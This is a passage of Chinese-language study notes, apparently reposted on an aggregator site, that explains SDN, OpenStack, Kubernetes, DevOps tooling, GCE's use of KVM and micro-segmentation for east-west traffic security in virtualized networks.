SDN(Software Defined Network)即軟件定義網絡,是一種網絡設計理念,或者一種推倒重來的設計思想。只要網絡硬件可以集中式軟件管理,可編程化,控制轉發層面分開,則可以認為這個網絡是一個SDN網絡。所以說,SDN并不是一個具體的技術,不是一個具體的協議,而是一個思想、一個框架。狹義的SDN是指的“軟件定義網絡”,廣義的SDN的概念還延伸出了:軟件定義安全、軟件定義存儲等等。可以說,SDN是一個浪潮,席卷整個IT產業。
「大物移云」的時代已經到來,傳統的底層網絡架構已經無法滿足人類的需求,設備繁雜配置麻煩迭代緩慢,各種問題層出不窮。下一代網絡,需要可編程按需定制、集中式統一管理、動態流量監管、自動化部署等,這就是SDN的出發點。
SDN(軟件定義網絡)是一個概念,結合NFV(Network Functions Virtualization 網絡功能虛擬化),實現了所有網絡架構的大一統,是互聯網的顛覆性架構。
SDN的核心思想:把網絡上所有的信息都集中到一個核心控制器(Controller)上處理,控制器可以針對信息編程,直接處理整體網絡的邏輯。此時控制器全知全能,它知道任何事,可以實現任何協議,對于網絡來說,控制器就是上帝。SDN的核心優勢:邏輯簡單。擴展性無與倫比,寫新協議非常快,可以閃電般的完成下一代的網絡進化。麻麻說我再也不用考慮STP、OSPF、TRILL、BGP這些亂七八糟的協議了……
SDN更多優勢:你可以切分網絡平面來做數據隔離;你可以引入CDN思想來提高性能;你可以針對Controller數據編寫DPI的app;你可以在上面玩機器學習;這都是傳統網絡比不了的。OpenFlow是一個標準,也即SDN的具體實踐,做法很簡單,將所有的報文抽出關鍵字段,抽象為流(flow),而所有流都交給Controller控制。
6.2 openstack
OpenStack從一開始,就是為了云計算服務的。簡單來說,它就是一個操作系統,一套軟件,一套IaaS軟件。
管理“基礎設施資源”,便于用戶調用和使用,是OpenStack的首要任務。
基礎設施資源,主要包括三個方面:計算、存儲、網絡。說通俗點,就是CPU,硬盤,網卡。
華為的FusionSphere平臺和中興的TECS平臺,都是基于OpenStack進行二次開發的商業系統。這些平臺都已經被自家的核心網和云計算產品采用,目前處于替代傳統平臺的階段。
這里要特別強調一下,雖然OpenStack是云計算技術,主要是IT的概念,但對于通信行業來說極為重要。
通信網絡中的核心網,已經全面開始了向虛擬化和云計算的演進。小棗君之前就介紹過,現在通信行業里火熱的NFV技術,就是基于虛擬化的,采用了IT里面的很多理念和設計。
6.3 Kubernetes
Kubernetes 能在實體機或虛擬機集群上調度和運行程序容器。
Kubernetes 這個單詞來自于希臘語,含義是 舵手 或 領航員 。其詞根是 governor 和 cybernetic。 K8s 是它的縮寫,用 8 字替代了“ubernete”。
使用 Kubernetes,你可以快速、高效地滿足用戶以下的需求:
快速精準地部署應用程序
即時伸縮你的應用程序
無縫展現新特征
限制硬件用量僅為所需資源
6.4 DevOps
DevOps 一詞的來自于 Development 和 Operations 的組合,突出重視軟件開發人員和運維人員的溝通合作,通過自動化流程來使得軟件構建、測試、發布更加快捷、頻繁和可靠。
DevOps 其實包含了三個部分:開發、測試和運維。換句話 DevOps 希望做到的是軟件產品交付過程中IT工具鏈的打通,使得各個團隊減少時間損耗,更加高效地協同工作。
DevOps平臺的搭建可通過如下工具進行實現:
平臺項目管理(PM):Jira 代碼管理:GitLab 持續集成(CI):GitLab CI 鏡像倉庫:VMware Harbor 容器:Docker 容器平臺: Rancher 鏡像掃描:Clairctl 編排:Kubernetes 服務注冊與發現:etcd 腳本語言:python 日志管理:EFK 系統監控:prometheusWeb 服務器:Nginx 數據庫:MySQL redis6.5 Kubernetes和OpenStack到底是什么關系?
kubernetes是管理container的工具,openstack是管理VM的工具。
container可以運行在物理機上,也可以運行在VM上。所以kubernetes不是需要openstack的支持。但對于云計算來說,很多IasS都通過openstack來管理虛擬機。然后用戶可以在這些虛擬機上運行docker,可以通過kubernetes進行管理。
Kubernetes 面向應用層,變革的是業務架構,而 OpenStack 面向資源層,改變的是資源供給模式。
- 使用容器且集群規模不大,直接用 Kubenetes 就可以;
- 集群規模大,不管應用是否只是跑在容器中,都是 OpenStack + Kubernetes 更好。
OpenStack + Kubernetes 是各取所長,并不只是因為慣性,而是對于多租戶需求來說,Container(容器)的隔離性還需要加強,需要加一層 VM(虛擬機) 來彌補,而 OpenStack 是很好的方案。不過,VM + Container 的模式,必然有性能的損耗,所以 OpenStack 基金會也推出一個項目叫 Kata Containers,希望減少虛擬化的開銷,兼顧容器的性能和隔離性。
永恒的只有變化,未來的業務都會運行在云上,容器是走向 DevOps、Cloud Native(云原生)的標準工具,已經開始走向平凡,而 Kubernetes 的編排能力,讓容器能夠落地到業務應用中,所以我們看到 Docker、Mesos、OpenStack 以及很多公有云、私有云服務商,都在支持 Kubernetes,大家都加入了 CNCF(云原生計算基金會)。總結起來,OpenStack 是兼容傳統的架構,而 Kubernetes 是面向未來的架構。
最后,計算開源云這幾年發展很快,從這個問題提出到現在,社區又有了很多變化。所以要修正一個觀點:Kubernetes 支持的容器運行時不僅僅是 Docker,也包括 Rkt,當然 Docker 更加流行。
不過kubernetes雖然是開源的,但它畢竟是為GCE服務的,Google其實并沒有多少動力去支持其他平臺的。
虛擬化技術在GCP(Google Cloud Platform)的應用:
Google Compute Engine(GCE,Google計算引擎)是Google云平臺的基礎設施即服務(IaaS)組件,它建立在運行Google搜索引擎、Gmail、YouTube和其他服務的全球基礎設施之上。GCE允許用戶按需啟動虛擬機(VMs),VMs可以從用戶創建的標準圖鏡像或自定義鏡像啟動。
-
GCE采用KVM作為其虛擬機的VMM/Hypervisor,KVM(Kernel-based Virtual Machine)是一個完全虛擬化方案,同時包含了CPU硬件提供的虛擬化技術擴展(IntelVT或AMD-V),適用于x86硬件上的Linux。可加載的內核模塊(kvm.ko,intel的是kvm-intel.ko,amd的是kvm-amd.ko)提供核心虛擬化基礎架構。使用KVM,可以運行多個含有未經修改的Linux或Windows Guest OS的虛擬機,每個虛擬機都有專用的虛擬硬件:網卡、磁盤、圖形適配器等。
-
通過K8s容器編排系統在VMs之上部署多個容器,一方面可以快速啟動程序(容器比虛擬機啟動時間要小很多),二是可以有效降低虛擬機的額外負載(容器可以部署多個,虛擬機則只能部署少量的),三是可以實現容器的自動升級、節點修復、自動擴縮容等特性。
6.6 Micro-segmentation
微分段(Micro-segmentation)是隨著MFV網絡虛擬化提出的一種安全技術,通過應用該技術,能夠提供在工作負載級別(workload level)上使能精細安全策略控制來保障用戶業務安全。使用微分段技術的一個顯著好處就是能夠將安全能力集成到虛擬化工作負載中,無須硬件設備(硬件防火墻)介入,也意味著將安全策略集成到虛擬網絡(virtual network)、虛擬主機(VM)、操作系統以及其他虛擬安全實例中來提供安全。
簡單來看,就是利用switch將多個節點從一個沖突域中隔離開來,組成多個由一個node和switch組成的沖突域,從而保證每個node獨享帶寬。只從定義上來看,和安全基本上沒有多大關系。
圖左邊,傳統的數據中心流量防護問題不大但針對NFV虛擬化網絡中的東西向流量安全防護,就會面臨比較大的問題:
同一個VLAN中承載不同的業務負載,在內部安全設備無法識別出不同的workload
如果想要保護Finance的業務,需要在多個VLAN中設置安全策略(DB VLAN,APP VLAN,DMZ/WEB VLAN)
負載間不具備隔離性,如果HR的數據庫服務被感染,同一個VLAN中Finance DB 也會被感染,從而擴展到整個網絡
不具備持久性和可擴展性,當某個workload中增加一個VLAN時,還需要在該VLAN中添加安全策略
圖右邊,來看看應用了微分段技術后的網絡架構,首先會根據不同的業務來進行分段(Segmentation),不同的workload根據需要將需要的服務邏輯劃分到該子網中。同時,在virtual NIC, VM, OS等多個實體上集成安全能力,從而提供針對NFV網絡的東西向流量防護,解決傳統網絡中出現的問題。
參考資料
1.neuvector
2.一文了解 Kubernetes 是什么?
3.Docker與KVM之間的區別
4.從虛擬機到容器,詳談各種服務虛擬化技術及其應用場景
5.淺析Micro Segmentation在安全中的應用
6.SDN 是什么?
7.OpenStack入門科普
8.Kubernetes和OpenStack到底是什么關系?
9.京東從OpenStack切換到Kubernetes的經驗之談
10.七個用于Docker和Kubernetes防護的安全工具
11.Docker安全入門與實戰(一)
12.Docker安全入門與實戰(二)
13.Docker安全入門與實戰(三)
14.Docker安全入門與實戰(四)
15.如何打造安全的容器云平臺
16.Linux namespace概述
17.Docker 核心技術與實現原理
總結
以上是生活随笔為你收集整理的Docker 安全问题与防护 (学习笔记)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 向你推荐22辆最适合改装的车
- 下一篇: [LeetCode] 620.Not B